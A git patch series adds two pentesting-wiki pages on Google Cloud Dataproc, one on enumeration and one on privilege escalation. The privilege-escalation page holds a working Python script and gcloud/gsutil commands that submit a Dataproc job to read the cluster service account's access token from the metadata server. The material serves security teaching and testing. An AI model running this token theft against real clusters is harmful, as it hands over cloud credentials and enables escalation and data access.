From 3af404358ce14ae2542688a24c03739f6e05cce1 Mon Sep 17 00:00:00 2001 From: Mac Date: Thu, 23 Jan 2025 20:54:49 +0400 Subject: [PATCH 1/3] dataproc privesc --- .../gcp-dataproc-privesc.md | 66 +++++++++++++++++++ .../gcp-services/gcp-dataproc-enum.md | 47 +++++++++++++ 2 files changed, 113 insertions(+) create mode 100644 src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md create mode 100644 src/pentesting-cloud/gcp-security/gcp-services/gcp-dataproc-enum.md diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md new file mode 100644 index 0000000000..8dee9c50c1 --- /dev/null +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md @@ -0,0 +1,66 @@ +# GCP Dataproc Privilege Escalation + +## Dataproc Roles and Privilege Escalation + +Google Cloud Dataproc roles like roles/dataproc.editor and roles/dataproc.admin grant significant permissions over Dataproc resources. If these roles are assigned to a compromised user or service account, they can be abused to escalate privileges by leaking sensitive metadata tokens or accessing other GCP resources. + +## Key Permissions in Dataproc Roles + +roles/dataproc.editor - Modify Dataproc jobs. Submit PySpark, Spark, Hadoop, and other job types to a cluster. Access job logs and configurations. Interact with associated GCP services like Cloud Storage and BigQuery. + +roles/dataproc.admin - Full control over Dataproc clusters, including creating, deleting, and managing clusters. + +These permissions make both roles highly sensitive and dangerous if misused. + + +## Privilege Escalation via Metadata Token Leaking + +By abusing the permissions granted by roles/dataproc.editor or roles/dataproc.admin, an attacker can: + +- Submit a job to a Dataproc cluster. + +- Use the job to access the metadata server. + +- Leak the service account token used by the cluster. + +### Example Script for token leaking + +The following script demonstrates how an attacker can submit a job to a Dataproc cluster to leak the metadata token: + +import requests + +# Metadata server URL to fetch the access token + +``` +metadata_url = "http://metadata/computeMetadata/v1/instance/service-accounts/default/token" +headers = {"Metadata-Flavor": "Google"} + +def fetch_metadata_token(): + try: + response = requests.get(metadata_url, headers=headers, timeout=5) + response.raise_for_status() + token = response.json().get("access_token", "") + print(f"Leaked Token: {token}") + return token + except Exception as e: + print(f"Error fetching metadata token: {e}") + return None + +if __name__ == "__main__": + fetch_metadata_token() +``` + +### Steps to exploit + +``` +gcloud dataproc jobs submit pyspark gs:///fetch_metadata_token.py \ + --cluster= \ + --region= +``` +### Use the Leaked Token + +The leaked token can be used to: + +- Access GCP APIs and resources (depending on the token’s permissions). +- Enumerate resources such as Cloud Storage buckets, BigQuery datasets, and more. +- Potentially escalate privileges further if the token has high-level permissions (e.g., roles/owner) diff --git a/src/pentesting-cloud/gcp-security/gcp-services/gcp-dataproc-enum.md b/src/pentesting-cloud/gcp-security/gcp-services/gcp-dataproc-enum.md new file mode 100644 index 0000000000..f691e5a7c1 --- /dev/null +++ b/src/pentesting-cloud/gcp-security/gcp-services/gcp-dataproc-enum.md @@ -0,0 +1,47 @@ +# GCP Dataproc Enum + +## Basic Infromation + +Google Cloud Dataproc is a fully managed service for running Apache Spark, Apache Hadoop, Apache Flink, and other big data frameworks. It is primarily used for data processing, querying, machine learning, and stream analytics. Dataproc enables organizations to create clusters for distributed computing with ease, integrating seamlessly with other Google Cloud Platform (GCP) services like Cloud Storage, BigQuery, and Cloud Monitoring. + +Dataproc clusters run on virtual machines (VMs), and the service account associated with these VMs determines the permissions and access level of the cluster. + +## Components + +A Dataproc cluster typically includes: + +Master Node: Manages cluster resources and coordinates distributed tasks. + +Worker Nodes: Execute distributed tasks. + +Service Accounts: Handle API calls and access other GCP services. + +## Enumeration + +Dataproc clusters, jobs, and configurations can be enumerated to gather sensitive information, such as service accounts, permissions, and potential misconfigurations. + +### Cluster Enumeration + +To enumerate Dataproc clusters and retrieve their details: + +``` +gcloud dataproc clusters list --region= +gcloud dataproc clusters describe --region= +``` + +### Job Enumeration + +``` +gcloud dataproc jobs list --region= +gcloud dataproc jobs describe --region= +``` + +### Post Exploitation + +Enumerating Dataproc clusters can expose sensitive data, such as tokens, configuration scripts, or job output logs, which can be leveraged for further exploitation. Misconfigured roles or excessive permissions granted to the service account can allow: + +Access to sensitive APIs (e.g., BigQuery, Cloud Storage). + +Token Exfiltration via metadata server. + +Data Exfiltration from misconfigured buckets or job logs. From 44a771264595a8b824c40a467c4946a9d0b97d4e Mon Sep 17 00:00:00 2001 From: Mac Date: Sun, 26 Jan 2025 21:53:14 +0400 Subject: [PATCH 2/3] dataproc privesc update --- .../gcp-dataproc-privesc.md | 13 +++++++++++-- 1 file changed, 11 insertions(+), 2 deletions(-) diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md index 8dee9c50c1..fa004ef8c4 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md @@ -12,10 +12,16 @@ roles/dataproc.admin - Full control over Dataproc clusters, including creating, These permissions make both roles highly sensitive and dangerous if misused. +## dataproc.jobs.create & dataproc.clusters.use + +The following method - projects.regions.jobs.submit enables a SA to create a dataproc job, which can be abused as shown in the example below. it must be noted that in order to exploit these permissions SA should also have the necessary privileges to move the malicious script to the storage bucket (storage.objects.create). + +the following permissions were assigned to the SA for the PoC (dataproc.clusters.get, dataproc.clusters.use, dataproc.jobs.create, dataproc.jobs.get, dataproc.jobs.list, storage.objects.create, storage.objects.get, storage.objects.list) + ## Privilege Escalation via Metadata Token Leaking -By abusing the permissions granted by roles/dataproc.editor or roles/dataproc.admin, an attacker can: + - Submit a job to a Dataproc cluster. @@ -29,7 +35,7 @@ The following script demonstrates how an attacker can submit a job to a Dataproc import requests -# Metadata server URL to fetch the access token +## Metadata server URL to fetch the access token ``` metadata_url = "http://metadata/computeMetadata/v1/instance/service-accounts/default/token" @@ -53,6 +59,9 @@ if __name__ == "__main__": ### Steps to exploit ``` +# Copy the script to the storage bucket +gsutil cp fetch-metadata-token.py gs://dataproc-poc-bucket-hacktest/fetch-metadata-token.py +# Submit the malicious job gcloud dataproc jobs submit pyspark gs:///fetch_metadata_token.py \ --cluster= \ --region= From 6c4f1366d30dd3d93bba26f830653e5f5a65973d Mon Sep 17 00:00:00 2001 From: Mac Date: Mon, 27 Jan 2025 00:14:46 +0400 Subject: [PATCH 3/3] dataproc enum & privesc --- .../gcp-dataproc-privesc.md | 49 ++++++------------- .../gcp-services/gcp-dataproc-enum.md | 16 +++--- 2 files changed, 23 insertions(+), 42 deletions(-) diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md index fa004ef8c4..d97fb257eb 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md @@ -1,27 +1,20 @@ # GCP Dataproc Privilege Escalation -## Dataproc Roles and Privilege Escalation +{{#include ../../../banners/hacktricks-training.md}} -Google Cloud Dataproc roles like roles/dataproc.editor and roles/dataproc.admin grant significant permissions over Dataproc resources. If these roles are assigned to a compromised user or service account, they can be abused to escalate privileges by leaking sensitive metadata tokens or accessing other GCP resources. +## Dataproc -## Key Permissions in Dataproc Roles +{{#ref}} +../gcp-services/gcp-dataproc-enum.md +{{#endref}} -roles/dataproc.editor - Modify Dataproc jobs. Submit PySpark, Spark, Hadoop, and other job types to a cluster. Access job logs and configurations. Interact with associated GCP services like Cloud Storage and BigQuery. +### `dataproc.clusters.get`, `dataproc.clusters.use`, `dataproc.jobs.create`, `dataproc.jobs.get`, `dataproc.jobs.list`, `storage.objects.create`, `storage.objects.get` -roles/dataproc.admin - Full control over Dataproc clusters, including creating, deleting, and managing clusters. - -These permissions make both roles highly sensitive and dangerous if misused. - -## dataproc.jobs.create & dataproc.clusters.use - -The following method - projects.regions.jobs.submit enables a SA to create a dataproc job, which can be abused as shown in the example below. it must be noted that in order to exploit these permissions SA should also have the necessary privileges to move the malicious script to the storage bucket (storage.objects.create). - -the following permissions were assigned to the SA for the PoC (dataproc.clusters.get, dataproc.clusters.use, dataproc.jobs.create, dataproc.jobs.get, dataproc.jobs.list, storage.objects.create, storage.objects.get, storage.objects.list) - - -## Privilege Escalation via Metadata Token Leaking +I was unable to get a reverse shell using this method, however it is possible to leak SA token from the metadata endpoint using the method described below. +#### Steps to exploit +- Place the job script on the GCP Bucket - Submit a job to a Dataproc cluster. @@ -29,15 +22,9 @@ the following permissions were assigned to the SA for the PoC (dataproc.clusters - Leak the service account token used by the cluster. -### Example Script for token leaking - -The following script demonstrates how an attacker can submit a job to a Dataproc cluster to leak the metadata token: - +```python import requests -## Metadata server URL to fetch the access token - -``` metadata_url = "http://metadata/computeMetadata/v1/instance/service-accounts/default/token" headers = {"Metadata-Flavor": "Google"} @@ -56,20 +43,14 @@ if __name__ == "__main__": fetch_metadata_token() ``` -### Steps to exploit - -``` +```bash # Copy the script to the storage bucket -gsutil cp fetch-metadata-token.py gs://dataproc-poc-bucket-hacktest/fetch-metadata-token.py +gsutil cp gs:/// + # Submit the malicious job -gcloud dataproc jobs submit pyspark gs:///fetch_metadata_token.py \ +gcloud dataproc jobs submit pyspark gs:/// \ --cluster= \ --region= ``` -### Use the Leaked Token - -The leaked token can be used to: -- Access GCP APIs and resources (depending on the token’s permissions). -- Enumerate resources such as Cloud Storage buckets, BigQuery datasets, and more. -- Potentially escalate privileges further if the token has high-level permissions (e.g., roles/owner) +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-services/gcp-dataproc-enum.md b/src/pentesting-cloud/gcp-security/gcp-services/gcp-dataproc-enum.md index f691e5a7c1..73c2e8b5f7 100644 --- a/src/pentesting-cloud/gcp-security/gcp-services/gcp-dataproc-enum.md +++ b/src/pentesting-cloud/gcp-security/gcp-services/gcp-dataproc-enum.md @@ -1,4 +1,6 @@ -# GCP Dataproc Enum +# GCP - Dataproc Enum + +{{#include ../../../banners/hacktricks-training.md}} ## Basic Infromation @@ -36,12 +38,10 @@ gcloud dataproc jobs list --region= gcloud dataproc jobs describe --region= ``` -### Post Exploitation - -Enumerating Dataproc clusters can expose sensitive data, such as tokens, configuration scripts, or job output logs, which can be leveraged for further exploitation. Misconfigured roles or excessive permissions granted to the service account can allow: - -Access to sensitive APIs (e.g., BigQuery, Cloud Storage). +### Privesc -Token Exfiltration via metadata server. +{{#ref}} +../gcp-privilege-escalation/gcp-dataproc-privesc.md +{{#endref}} -Data Exfiltration from misconfigured buckets or job logs. +{{#include ../../../banners/hacktricks-training.md}}